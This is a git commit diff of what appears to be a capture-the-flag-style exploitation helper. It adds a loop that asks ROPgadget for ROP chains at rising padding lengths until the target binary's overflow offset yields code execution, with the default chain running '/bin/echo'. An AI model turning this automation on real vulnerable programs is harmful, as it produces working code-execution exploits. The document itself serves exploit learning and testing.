Find offset by hand without core dump

This commit is contained in:
Liam Dalgarno 2020-12-05 17:26:35 +00:00
parent 07dd7e3060
commit 8026609b48
2 changed files with 34 additions and 6 deletions

View File

@ -53,21 +53,47 @@ max_payload = args.max_payload
run = args.run
input_method = args.input_method
def run_program(exec_file: str, payload: str, mode: str, **kwargs):
def run_program(payload: str, **kwargs):
p = None
if mode == 'arg':
if input_method == 'arg':
p = process([f'./{exec_file}', payload], **kwargs)
elif mode == 'file':
elif input_method == 'file':
with open('/tmp/input.txt', 'wb') as f:
f.write(payload)
f.flush()
p = process([f'./{exec_file}', '/tmp/input.txt'], **kwargs)
elif mode == 'stdin':
elif input_method == 'stdin':
p = process([f'./{exec_file}'], **kwargs)
p.send(payload)
return p
def find_offset_inc(low: int, high: int):
for i in range(low, high + 1):
print(f" ├─[🤔] Trying payload {i}...")
subprocess.run(
[
"ROPgadget",
"--binary", exec_file,
"--ropchain",
"--silent",
"--paddingLen", str(i),
"--ropFile", rop_file,
"--execFile", 'rop_exec_default.json',
],
stdout = subprocess.PIPE
)
with open(rop_file, 'rb') as f:
p = run_program(f.read())
if b'[ Successful ROP! ]' in p.readall():
print(f" └─[😳] Found offset at {i}!\n")
return i
return -1
def find_offset(exec_file: str, min_payload: int, max_payload: int):
print("[ Find Offset Length ]")
@ -96,7 +122,8 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
return -1
offset = find_offset(exec_file, min_payload, max_payload)
offset = find_offset_inc(min_payload, max_payload)
if offset == -1:
print(f" └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
@ -130,5 +157,5 @@ if run:
print(f"[ Run Program : ./{exec_file} {rop_file} ]")
with open(rop_file, 'rb') as f:
term.init()
p = run_program(exec_file, f.read(), input_method)
p = run_program(f.read())
p.interactive()

1
rop_exec_default.json Normal file
View File

@ -0,0 +1 @@
["/bin/echo", "\n[ Successful ROP! ]"]